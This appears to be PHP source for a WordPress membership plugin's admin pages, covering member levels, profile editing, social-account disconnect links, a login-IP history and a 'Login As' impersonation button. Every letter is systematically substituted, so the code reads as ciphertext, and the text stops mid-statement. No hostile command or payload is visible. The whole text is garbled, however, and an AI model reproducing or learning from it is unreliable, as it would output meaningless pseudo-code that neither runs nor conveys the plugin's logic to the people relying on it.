QplrmUtBtEBozBsxln_urzrlm_uxsvQplrmU )U } Smyxn-QzmUFCC_nlE_tBsl(QplrmU3BtEBonQplrmU, Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_tBtEBonQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmU4BkBunQplrmU, Smyxn-QzmUmFE4xsv(QplrmUuBkBunQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_uBkBunQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmUdrsmBsmQplrmU, Smyxn-QzmUmFE4xsv(QplrmUDrsmBsmQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_DrsmBsmQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmU0FhtBsmnQplrmU, Smyxn-QzmUmFE4xsv(QplrmUqFhtBsmnQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_qFhtBsmnQplrmU )U Smyxn-QzmUFCC_nlE_tBsl(QplrmUflmroBnqrsCBoQplrmU, Smyxn-QzmUmFE4xsv(QplrmUFlmroBnqrsCBoQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_FlmroBnqrsCBoQplrmU)U Smyxn-QzmUFCC_nlE_tBsl(QplrmU$rDxFuQplrmU, Smyxn-QzmUmFE4xsv(QplrmUnrDxFuQplrmU), QplrmUtBtEBozBsxlnQplrmU, QplrmUtBtEBozBsxln_nrDxFuQplrmU)U } AlsDmxrs FCC_orrm_tBsl(SsFtB, SxC, SyoBA = af4$b) { zurEFu Sjq_FCtxs_EFoU xA ( Vxn_nlqBo_FCtxs() || Vxn_FCtxs_EFo_nyrjxsz() ) oBmlosU Sjq_FCtxs_EFo-QzmUFCC_tBsl( FooFh( QTPMGUxCQTPMGU =QzmU SxC, QTPMGUtBmFQTPMGU =QzmU FooFh(), QTPMGUmxmuBQTPMGU =QzmU SsFtB, QTPMGUyoBAQTPMGU =QzmU SyoBA ) )U } AlsDmxrs FCC_nlE_tBsl(SsFtB, Suxsv, Sorrm_tBsl, SxC, StBmF = af4$b) { zurEFu Sjq_FCtxs_EFoU xA ( V xn_nlqBo_FCtxs() || V xn_FCtxs_EFo_nyrjxsz() ) oBmlosU Sjq_FCtxs_EFo-QzmUFCC_tBsl( FooFh( QTPMGUqFoBsmQTPMGU =QzmU Sorrm_tBsl, QTPMGUxCQTPMGU =QzmU SxC, QTPMGUmxmuBQTPMGU =QzmU SsFtB, QTPMGUyoBAQTPMGU =QzmU Suxsv, QTPMGUtBmFQTPMGU =QzmU StBmF ) )U } qlEuxD AlsDmxrs tFhEB BCxoBDm() { xA (xnnBm(S_ b&;b$#[QplrmUjq_ymmq_oBABoBoQplrmU]) QFtqUQFtqU nmoqrn(S_ b&;b$#[QTPMGUjq_ymmq_oBABoBoQTPMGU], QplrmUtBtEBozBsxlnQplrmU) V== af4$b) { jq_oBCxoBDm(Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } xA (xnnBm(S_ b&;b$#[QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU])) { jq_oBCxoBDm(Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU))U CxB()U } } qlEuxD AlsDmxrs FCtxs_xsxm() { xA (VxnnBm(S_ b&;b$#[QplrmUqFzBQplrmU])) { oBmlosU } xA (nmoqrn(S_ b&;b$#[QplrmUqFzBQplrmU], qulzxs_EFnBsFtB(__a74b__)) === AFunB) { oBmlosU } jq_BsplBlB_nDoxqm(QTPMGUwplBohQTPMGU)U Smyxn-QzmUmyxDvEri()U } qlEuxD AlsDmxrs tBmF_EriBn() { xA (VAlsDmxrs_Bixnmn(QplrmUFCC_tBmF_EriQplrmU)) { oBmlosU } FCC_tBmF_Eri(QTPMGUtBtEBozBsxln-tBmFQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn, QplrmUtBmFQplrmU), QplrmUqrnmQplrmU, QplrmUnxCBQplrmU, QplrmUyxzyQplrmU)U FCC_tBmF_Eri(QTPMGUtBtEBozBsxln-tBmFQTPMGU, QTPMGU3BtEBo 9BsxlnQTPMGU, FooFh(QFtqUSmyxn, QplrmUtBmFQplrmU), QplrmUqFzBQplrmU, QplrmUnxCBQplrmU, QplrmUyxzyQplrmU)U } qlEuxD AlsDmxrs uxsvn(Suxsvn, SAxuB) { xA (SAxuB == qulzxs_EFnBsFtB(__a74b__)) { FooFh_lsnyxAm(Suxsvn, QTPMGUQumUF yoBA=QplrmUrqmxrsn-zBsBoFu.qyqWqFzB=QTPMGU.SAxuB.QTPMGUQplrmUQzmU$BmmxsznQumU/FQzmUQTPMGU)U } oBmlos SuxsvnU } qlEuxD AlsDmxrs uxsvn_lsoBzxnmBoBC(Suxsvn, SAxuB) { xA (SAxuB == qulzxs_EFnBsFtB(__a74b__)) { FooFh_lsnyxAm(Suxsvn, QTPMGUQumUF yoBA=QplrmUrqmxrsn-zBsBoFu.qyqWqFzB=QTPMGU.SAxuB.QTPMGUQplrmUQzmU BzxnmBoQumU/FQzmUQTPMGU)U } oBmlos SuxsvnU } qlEuxD AlsDmxrs qorAxuB(SlnBo) { zurEFu StBtEBozBsxlnU xA (VDlooBsm_lnBo_DFs(QTPMGUFCtxsxnmoFmroQTPMGU)) { oBmlosU } xA (xnnBm(S_9b#[QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU])) { xA (S_9b#[QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU] == QplrmUAFDBErrvQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_AFDBErrvQplrmU, sluu)U } xA (S_9b#[QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU] == QplrmUzrrzuBQplrmU) { StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_zrrzuBQplrmU, sluu)U } } SqorAxuB_lou = FCtxs_lou(QplrmUlnBo-BCxm.qyqWlnBo_xC=QplrmU.SlnBo-QzmU7c)U SuBkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBu7sAr(SlnBo-QzmU7c)U SFuu4BkBun = StBtEBozBsxln-QzmUtrCBu-QzmUzBm4BkBun()U Surzxsaxonm = xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUurzxsaxonmQplrmU))U Surzxsn = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUurzxsnQplrmU)U xA (Vxn_FooFh(Surzxsn)) { Surzxsn = FooFh()U } Fonrom(Surzxsn)U SnBplBsmxFu4xsv = FCC_plBoh_Foz(FooFh(QTPMGUqFzBQTPMGU=QzmUqulzxs_EFnBsFtB(__a74b__).QTPMGU-uBkBunQTPMGU, QTPMGUtBtEBozBsxln_FDmxrsQTPMGU=QzmUQTPMGUlqzoFCBQTPMGU), FCtxs_lou(QTPMGUFCtxs.qyqQTPMGU))U SnrDxFu_AFDBErrv = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_AFDBErrvQplrmU)U SnrDxFu_zrrzuB = StBtEBozBsxln-QzmUtrCBu-QzmUlnBo$Bmmxsz(SlnBo-QzmU7c, QplrmUnrDxFu_zrrzuBQplrmU)U WQzmUY QumUCxk xC=QplrmU3BtEBo9Bsxln;nBo0orAxuBQplrmUQzmUY QumUyMQzmU3BtEBo 9BsxlnQumU/yMQzmUYY QumUV-- $rDxFu xsmBzoFmxrs --QzmUY QumUWqyq xA (SnrDxFu_AFDBErrv || SnrDxFu_zrrzuB): WQzmUY QumUqQzmUY QumUEQzmU$rDxFu xsmBzoFmxrs:QumU/EQzmUY QumUWqyq xA (SnrDxFu_AFDBErrv): WQzmUQumUEo /QzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://jjj.AFDBErrv.Drt/QumUWqyq BDyr ymtuBsmxmxBn(SnrDxFu_AFDBErrv)U WQzmUQplrmUQzmUaFDBErrvQumU/FQzmU QumUF yoBA=QplrmUQumUWqyq BDyr FCC_plBoh_Foz(FooFh(QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU=QzmUQplrmUAFDBErrvQplrmU), SqorAxuB_lou)U WQzmUQplrmUQzmU(CxnDrssBDm)QumU/FQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SnrDxFu_zrrzuB): WQzmUQumUEo /QzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmqn://quln.zrrzuB.DrtQplrmUQzmU9rrzuBQumU/FQzmUQumU/EQzmU QumUF yoBA=QplrmUQumUWqyq BDyr FCC_plBoh_Foz(FooFh(QplrmUtBtEBozBsxln_nrDxFu_CxnDrssBDmQplrmU=QzmUQplrmUzrrzuBQplrmU), SqorAxuB_lou)U WQzmUQplrmUQzmU(CxnDrssBDm)QumU/FQzmUQumUWqyq BsCxAU WQzmUY QumU/qQzmUY QumUWqyq BsCxAU WQzmUYY QumUCxk Fuxzs=QplrmUuBAmQplrmUQzmU QumUV-- trkB mFEuB mr myB uBAm --QzmUY QumUmFEuB DuFnn=QplrmUArot-mFEuBQplrmU nmhuB=QplrmUjxCmy:HPPqiUQplrmUQzmUY QumUmyBFCQzmUY QumUmoQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUEQzmU4BkBuQumU/EQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUEQzmU#oFsnFDmxrs 7cQumU/EQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUEQzmU$lEnDoxEBCQumU/EQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmU jxCmy:NPPqiUQplrmUQzmUQumUEQzmUcFmB fCCBC mr 4BkBuQumU/EQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmUQumUEQzmUcFhn rs 4BkBuQumU/EQzmUQumU/srEoQzmUQumU/myQzmUY QumUmy nDrqB=QplrmUorjQplrmU nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUsrEoQzmUQumUEQzmUQumUF yoBA=QplrmUQumUWqyq BDyr SnBplBsmxFu4xsvU WQzmUQplrmUQzmU$BplBsmxFu ;qzoFCBQumU/FQzmUQumU/EQzmUQumU/srEoQzmUQumU/myQzmUY QumU/moQzmUY QumU/myBFCQzmUYY Y QumUWqyq AroBFDy (SuBkBun Fn SuBkBu): WQzmUY QumUWqyqY SmBimcBDroFmxrs = (SuBkBu-QzmUuBkBu_nmFmln == QplrmUfQplrmU) W QplrmUsrotFuQplrmU : QplrmUuxsB-myorlzyQplrmUU SuBkBufCC = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUFCCQplrmU)U SuBkBu3rkB = StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUtrkBQplrmU)U SuBkBucBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUCBuFhQplrmU))U SuBkBucFmBcBuFh = @xsmkFu(StBtEBozBsxln-QzmUtrCBu-QzmUuBkBu$Bmmxsz(SuBkBu-QzmUuBkBu_xC, QplrmUCFmBcBuFhQplrmU))U SuBkBubiqxoB = SuBkBu-QzmUuBkBu_BiqxoFmxrsU SuBkBufDmxrs = sluuU SuBkBu#r = sluuU xA (SuBkBufCC QFtqUQFtqU xnnBm(SFuu4BkBun[SuBkBufCC])) { SuBkBufDmxrs = QplrmUfCCQplrmUU SuBkBu#r = SFuu4BkBun[SuBkBufCC]-QzmUuBkBu_sFtBU } xA (SuBkBu3rkB QFtqUQFtqU xnnBm(SFuu4BkBun[SuBkBu3rkB])) { SuBkBufDmxrs = QplrmU3rkBQplrmUU SuBkBu#r = SFuu4BkBun[SuBkBu3rkB]-QzmUuBkBu_sFtBU } SCFhn1s4BkBu = StBtEBozBsxln-QzmUtrCBu-QzmUmxtBnmFtq#rcFhn(SuBkBu-QzmUuBkBu_CFmB)U SlqzoFCBcFhn4BAm = PU SlqzoFCBb#f = sluuU xA (SuBkBucFmBcBuFh) { SlqzoFCBcFhn4BAm = tFi(P, StBtEBozBsxln-QzmUtrCBu-QzmUmxtBnmFtq#rcFhn(SuBkBucFmBcBuFh) * -O)U SlqzoFCBb#f = CFmB(QplrmU3 CQplrmU, SuBkBucFmBcBuFh)U } BunBxA (SuBkBucBuFh) { SlqzoFCBcFhn4BAm = tFi(P, SuBkBucBuFh - SCFhn1s4BkBu)U SlqzoFCBb#f = CFmB(QplrmU3 CQplrmU, nmomrmxtB(SuBkBu-QzmUuBkBu_CFmB) + (HJLPP*SuBkBucBuFh))U } BunB { SlqzoFCBcFhn4BAm = PU } SBiqxoBcFhn4BAm = tFi(P, SuBkBubiqxoB - SCFhn1s4BkBu)U SBiqxoBb#f = CFmB(QplrmU3 CQplrmU, nmomrmxtB(SuBkBu-QzmUuBkBu_CFmB) + (HJLPP*SuBkBu-QzmUuBkBu_BiqxoFmxrs))U WQzmUY QumUmoQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_uBkBu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUOQplrmU /QzmUY QumUF nmhuB=QplrmUmBim-CBDroFmxrs:QumUWqyq BDyr SmBimcBDroFmxrsU WQzmUUQplrmU yoBA=QplrmUQumUWqyq BDyr Smyxn-QzmUmFE4xsv(QplrmUtBtEBonQplrmU)U WQzmUQFtqUu=QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmUQplrmUQzmUQumUnmorszQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/nmorszQzmUQumU/FQzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUY QumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_moFsnFDmxrs[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU nxgB=QplrmUNPQplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_mis)U WQzmUQplrmU /QzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_moFsnFDmxrs_roxzxsFu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_mis)U WQzmUQplrmU /QzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUuFEBuQzmUQumUxsqlm mhqB=QplrmUDyBDvEriQplrmU sFtB=QplrmUtBtEBozBsxln_nlEnDoxEBC[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU QumUWqyq DyBDvBC(SuBkBu-QzmUuBkBu_nlEnDoxEBC == O)U WQzmU DuFnn=QplrmUtBtEBozBsxln_nlEnDoxEBCQplrmU /QzmU QumUnqFs DuFnn=QplrmUtBtEBozBsxln_nlEnDoxEBC_uFEBuQplrmUQzmUQumUWqyq BDyr (SuBkBu-QzmUuBkBu_nlEnDoxEBC == O) W Dyo(HG).QplrmUBnQplrmU : QplrmU2rQplrmUU WQzmUQumU/nqFsQzmUQumU/uFEBuQzmUQumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUY QumUsrEoQzmUQumUxsqlm mhqB=QplrmUmBimQplrmU sFtB=QplrmUtBtEBozBsxln_CFmB[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_CFmB)U WQzmUQplrmU nxgB=QplrmUNPQplrmU /QzmUQumU/srEoQzmUY QumUxsqlm mhqB=QplrmUyxCCBsQplrmU sFtB=QplrmUtBtEBozBsxln_CFmB_roxzxsFu[QumUWqyq BDyr xsmkFu(SuBkBu-QzmUuBkBu_xC)U WQzmU]QplrmU kFulB=QplrmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_CFmB)U WQzmUQplrmU /QzmUY QumU/mCQzmUY QumUmC nmhuB=QplrmUmBim-Fuxzs:DBsmBoUQplrmUQzmUQumUsrEoQzmUQumUWqyq BDyr SCFhn1s4BkBuU WQzmUQumU/srEoQzmUQumU/mCQzmUYY QumUmC nmhuB=QplrmUmBim-Fuxzs:uBAmUQplrmUQzmUQumUsrEoQzmUY QumUWqyq xA (SuBkBufDmxrs QFtqUQFtqU (SuBkBucBuFh QzmU P || SuBkBucFmBcBuFh)): WQzmUY QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUdQplrmU): WQzmUQumUnQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq BDyr SuBkBufDmxrs WQzmU mr 4BkBu QumUxQzmUQumUWqyq BDyr SuBkBu#rU WQzmUQumU/xQzmU YY QumUWqyq xA (SuBkBucBuFh): WQzmU Y fAmBo QumUxQzmUQumUWqyq BDyr SuBkBucBuFhU WQzmU cFhnQumU/xQzmU Y QumUWqyq BsCxAU WQzmUYY (QumUWqyq BDyr SlqzoFCBcFhn4BAmU WQzmU cFhn BtFxsxsz: QumUWqyq BDyr SlqzoFCBb#fU WQzmU)Y QumUWqyq xA (SuBkBu-QzmUuBkBu_nmFmln == QplrmUdQplrmU): WQzmUQumU/nQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SuBkBufDmxrs QFtqUQFtqU (SuBkBucBuFh QzmU P || SuBkBucFmBcBuFh) QFtqUQFtqU SuBkBubiqxoB): WQzmUQumUEo /QzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (SuBkBubiqxoB): WQzmUbiqxoB Aort 4BkBu fAmBo QumUxQzmUQumUWqyq BDyr SuBkBubiqxoBU WQzmU cFhnQumU/xQzmU (QumUWqyq BDyr SBiqxoBcFhn4BAmU WQzmU cFhn BtFxsxsz: QumUWqyq BDyr SBiqxoBb#fU WQzmU)QumUWqyq BsCxAU WQzmUY QumUWqyq BsCxAU WQzmUY QumU/srEoQzmUQumU/mCQzmUY QumU/moQzmUY QumUWqyq BsCAroBFDyU WQzmUYY QumUmoQzmUY QumUmC DrunqFs=QplrmULQplrmU Fuxzs=QplrmUDBsmBoQplrmUQzmUY QumUxsqlm mhqB=QplrmUnlEtxmQplrmU sFtB=QplrmUnlEtxmQplrmU xC=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs Elmmrs-qoxtFohQplrmU kFulB=QplrmU;qCFmB ;nBoQplrmUQzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_qFnnjroCQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU$BsC BnBm 0FnnjroC 4xsv mr 3BtEBoQplrmU /QzmUY Y Y QumUEo /QzmUQumUEo /QzmUYY QumUnBuBDm sFtB=QplrmUtBtEBozBsxln_uBkBunQplrmU xC=QplrmUtBtEBozBsxln_uBkBunQplrmUQzmUY QumUrqmxrs kFulB=QplrmU-QplrmUQzmU4BkBun...QumU/rqmxrsQzmUY QumUWqyq AroBFDy (SFuu4BkBun Fn SuBkBu): WQzmUY QumUrqmxrs kFulB=QplrmUQumUWqyq BDyr xsmkFu(SuBkBu-QzmU7c)U WQzmUQplrmUQzmUQumUWqyq BDyr ymtuBsmxmxBn(SuBkBu-QzmUuBkBu_sFtB)U WQzmUQumU/rqmxrsQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumU/nBuBDmQzmUYY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_FCCQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUfCC mr 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_trkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU3rkB mr 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_oBtrkBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU BtrkB Aort 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_DFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmUdFsDBu Aort 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_lsDFsDBuQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU;sDFsDBu Aort 4BkBuQplrmU /QzmUY QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_CBuBmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrs-qoxtFohQplrmU nmhuB=QplrmUEFDvzorlsC-Druro:oBC VxtqromFsmUQplrmU kFulB=QplrmUcBuBmB 3BtEBoQplrmU rsDuxDv=QplrmUoBmlos DrsAxot(QTPMGUfoB hrl $; b hrl jFsm mr CBuBmB myxn tBtEBoW\s\s#yxn FDmxrs DFssrm EB lsCrsB.\s\s0oBnn 15 mr DrsmxslB, dFsDBu mr nmrq.QTPMGU)UQplrmU /QzmUQumUEo /QzmUQumUEo /QzmUYY QumUWqyqY xA (SlnBo-QzmUAxonm_sFtB) { Surzxsfn = SlnBo-QzmUAxonm_sFtB . QplrmU QplrmU . SlnBo-QzmUuFnm_sFtBU } BunB { Surzxsfn = SlnBo-QzmUlnBo_urzxsU } WQzmUY Y QumUxsqlm sFtB=QplrmUtBtEBozBsxln_FDmxrs_xtqBonrsFmBQplrmU mhqB=QplrmUnlEtxmQplrmU DuFnn=QplrmUElmmrsQplrmU kFulB=QplrmU4rzxs fn QumUWqyq BDyr ymtuBsmxmxBn(Surzxsfn)U WQzmUQplrmU rstrlnBrkBo=QplrmUmyxn.kFulB=QTPMGU4rzxs fn QumUWqyq BDyr ymtuBsmxmxBn(Surzxsfn)U WQzmU (jxuu urz hrl rlm rA myxn FDDrlsm)QTPMGUQplrmU rstrlnBrlm=QplrmUmyxn.kFulB=QTPMGU4rzxs fn QumUWqyq BDyr ymtuBsmxmxBn(Surzxsfn)U WQzmUQTPMGUQplrmU /QzmUY QumU/mCQzmUY QumU/mErChQzmUYY QumU/mFEuBQzmUY QumU/CxkQzmU QumUV-- Cxk Fuxzs uBAm nloorlsCxsz mFEuB --QzmUYY QumUV-- fDmxkxmh Aro myxn lnBo --QzmUY QumUluQzmUY QumUWqyq xA (Surzxsaxonm QzmU P): WQzmUQumUuxQzmU BzxnmBoBC ;nxsz 70: QumUDrCBQzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.xqNurDFmxrs.Drt/QumUWqyq BDyr urszNxq(Surzxsaxonm)U WQzmUQplrmUQzmUQumUWqyq BDyr urszNxq(Surzxsaxonm)U WQzmUQumU/FQzmUQumU/DrCBQzmU rs QumUDrCBQzmUQumUWqyq BDyr CFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, nmomrmxtB(SlnBo-QzmUlnBo_oBzxnmBoBC))U WQzmUQumU/DrCBQzmUQumU/uxQzmUQumUWqyq BsCxAU WQzmUY QumUWqyq xA (Drlsm(Surzxsn) QzmU P): WQzmUY QumUWqyq AroBFDy (Surzxsn Fn Surzxs70 =QzmU Surzxs#xtB): WQzmUY QumUuxQzmU4rzzBC 7s ;nxsz 70: QumUDrCBQzmUQumUF mFozBm=QplrmU_EuFsvQplrmU yoBA=QplrmUymmq://jjj.xqNurDFmxrs.Drt/QumUWqyq BDyr urszNxq(Surzxs70)U WQzmUQplrmUQzmUQumUWqyq BDyr urszNxq(Surzxs70)U WQzmUQumU/FQzmUQumU/DrCBQzmU rs QumUDrCBQzmUQumUWqyq BDyr CFmB(Dyo(HG).QplrmU-t-C 8:x:nQplrmU, Surzxs#xtB)U WQzmUQumU/DrCBQzmUQumU/uxQzmUY QumUWqyq BsCAroBFDyU WQzmUY QumUWqyq BsCxAU WQzmUY QumU/luQzmUY QumU/CxkQzmU QumUV-- xC 3BtEBo9Bsxln;nBo0orAxuB --QzmUYY QumUnDoxqm mhqB=QplrmUmBim/wFkFnDoxqmQplrmUQzmUY QumUV--Y // 3rkB 3BtEBo 9Bsxln qoBABoBsDBn mr myB mrq rA myB qorAxuB qFzBY w&lBoh(QplrmUT3BtEBo9Bsxln;nBo0orAxuBQplrmU).xsnBomeBAroB(QplrmUyN:AxonmQplrmU)UY w&lBoh(AlsDmxrs() {Y // 8FkB mBim sBim mr $lEnDoxEBC DyBDvEri nyrj hBn ro srY w&lBoh(QplrmU.tBtEBozBsxln_nlEnDoxEBCQplrmU).DuxDv(AlsDmxrs() {Y kFo kFu = (w&lBoh(myxn).Fmmo(QplrmUDyBDvBCQplrmU)) W QplrmUQumUWqyq BDyr Dyo(HG)U WQzmUBnQplrmU : QplrmU2rQplrmUUY w&lBoh(myxn).sBim(QplrmU.tBtEBozBsxln_nlEnDoxEBC_uFEBuQplrmU).ymtu(kFu)UY })UY })UYY // --QzmUY QumU/nDoxqmQzmUY QumUWqyqY } qlEuxD AlsDmxrs qorAxuB_lqCFmB(SlnBo7c) { zurEFu StBtEBozBsxlnU xA (VDlooBsm_lnBo_DFs(QplrmUFCtxsxnmoFmroQplrmU)) { oBmlosU } Sqrnm = S_01$#U SlnBo = xsmkFu(SlnBo7c)U SmoFsnFDmxrsn = FooFh()U SuBkBun = FooFh()U SnlEnDoxEBC = FooFh()U SFuu4BkBun = FooFh()U SCFmB = FooFh()U SCFmB_roxzxsFu = FooFh()U SuBkBun = QplrmUQplrmUU xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrsQplrmU])) { SmoFsnFDmxrsn = S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrsQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrsQplrmU])) { SmoFsnFDmxrsn_roxzxsFu = S_01$#[QplrmUtBtEBozBsxln_moFsnFDmxrs_roxzxsFuQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_CFmBQplrmU])) { SCFmB = S_01$#[QplrmUtBtEBozBsxln_CFmBQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_CFmB_roxzxsFuQplrmU])) { SCFmB_roxzxsFu = S_01$#[QplrmUtBtEBozBsxln_CFmB_roxzxsFuQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU])) { SFuu4BkBun = S_01$#[QplrmUtBtEBozBsxln_uBkBuQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_nlEnDoxEBCQplrmU])) { SnlEnDoxEBC = S_01$#[QplrmUtBtEBozBsxln_nlEnDoxEBCQplrmU]U } xA (xnnBm(S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU])) { SuBkBun = S_01$#[QplrmUtBtEBozBsxln_uBkBunQplrmU]U } AroBFDy (SmoFsnFDmxrsn Fn SuBkBu =QzmU SmoFsnFDmxrs) { xA (SmoFsnFDmxrsn[SuBkBu] == SmoFsnFDmxrsn_roxzxsFu[SuBkBu]) { DrsmxslBU } StBtEBozBsxln-QzmUtrCBu-QzmUlqCFmB#oFsnFDmxrs(SlnBo, SuBkBu, SmoFsnFDmxrs)U } AroBFDy (FooFh_vBhn(SFuu4BkBun) Fn SuBkBu) { xA (xnnBm(SnlEnDoxEBC[SuBkBu])) { StBtEBozBsxln-QzmUtrCBu-QzmUnBm$lEnDoxEBC(SlnBo, SuBkBu)U } BunB { StBtEBozBsxln-QzmUtrCBu-QzmUnBm$lEnDoxEBC(SlnBo, SuBkBu, AFunB)U } } AroBFDy (SCFmB Fn SuBkBu =QzmU SmyBcFmB) { xA (SCFmB[SuBkBu] == SCFmB_roxzxsFu[SuBkBu]) { DrsmxslBU } StBtEBozBsxln-QzmUtrCBu-QzmUlqCFmB4BkBucFmB(SlnBo, SuBkBu, SmyBcFmB)U xA (nmomrmxtB(SCFmB[SuBkBu]) QumU nmomrmxtB(SCFmB_roxzxsFu[SuBkBu])) { SnmFom = nmomrmxtB(SCFmB[SuBkBu])U SBsC = mxtB()U xA (SnmFom 